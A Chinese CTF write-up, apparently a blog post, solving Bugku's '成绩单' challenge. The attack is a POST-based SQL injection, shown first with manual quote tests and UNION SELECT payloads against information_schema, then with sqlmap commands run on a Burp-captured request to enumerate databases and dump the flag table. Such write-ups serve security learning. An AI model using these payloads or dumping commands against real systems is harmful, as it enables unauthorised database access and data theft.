• 用sqlmap跑post型注入


    bugku-成绩单 题目地址

    手工注入:

    ①看到题目,分别提交1,2,3,出现不同的成绩单,可见参数我们是可以控制,通过POST的方式。

    ②我们尝试输入1 and 1=1#1 and 1=2#发现不报错,应该不是数字型注入。我们输入1',报错,这个数字(id)被'保护起来了。猜测SQL语句:~~~~where id ='$id';我们继续输入1' and 1=1#;和1' and 1=2#,发现前边没错,后边的错了,到了这里 注入点就找到了。

    顺便获取有几个显示位。

    到5报错,说明有四个可能回显的位置。

    union select 1,2,3,4#

    四个位置全部可以回显查询的内容。

    ③查找所有的数据库,输入-1' union select 1,2,3,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#

    获得了所有数据库,不过肯定是普通用户,还是只有查看的权限。查询下user()

    ④查找skctf_flag下的表。-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

    ⑤查看fl4g下的列名。-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

    ⑥ 查看skctf_flag下的内容。-1' union select 1,2,3,skctf_flag from skctf_flag.fl4g#

    SQLMAP跑:

    ①首先,开burp截包。

    ②输入1,提交。

    可以看见,burp已经把id获取到了

    copy to file,保存为txt文件。


    把这个txt放置到sqlmap的目录下边。

    ④打开sqlmap,shift+鼠标右键打开命令行。python sqlmap.py -r a.txt (a.txt如果没有放到sqlmap目录就用绝对路径)。

    可以看到,存在的注入类型(union查询和基于时间的盲注)和payload和数据库类型和版本都给你报出来了。
    然后剩下的参数就基本和跑get型注入差不多了。

    ⑤获取所有数据库。python sqlmap.py -r a.txt --dbs

    ⑥获取skctf_flag下所有的表。python sqlmap.py -r a.txt -D skctf_flag --tables

    ⑦获取fl4g下所有的列。python sqlmap.py -r a.txt -D skctf_flag -T fl4g --columns

    ⑧获取列skctf_flag下的内容。python sqlmap.py -r a.txt -D skctf_flag -T fl4g -C "skctf_flag" --dump

  • 相关阅读:
    IDEA @override处标红
    IntelliJ IDEA 出现" java: 程序包javax.servlet不存在、 java: 程序包javax.servlet.annotation"等错误
    IDEA中提示配置jdk1.8
    bootstrap datetimepicker 添加清空按钮
    JS中常用的Math方法
    JS数组常用方法总结
    JS字符串常用方法总结
    阻止a链接跳转方法总结
    node常见操作命令
    RAC升级后,一个节点无法连接数据库,报ORA-12537: TNS:connection closed
  • 原文地址:https://www.cnblogs.com/zaqzzz/p/9580749.html
Copyright © 2020-2023  润新知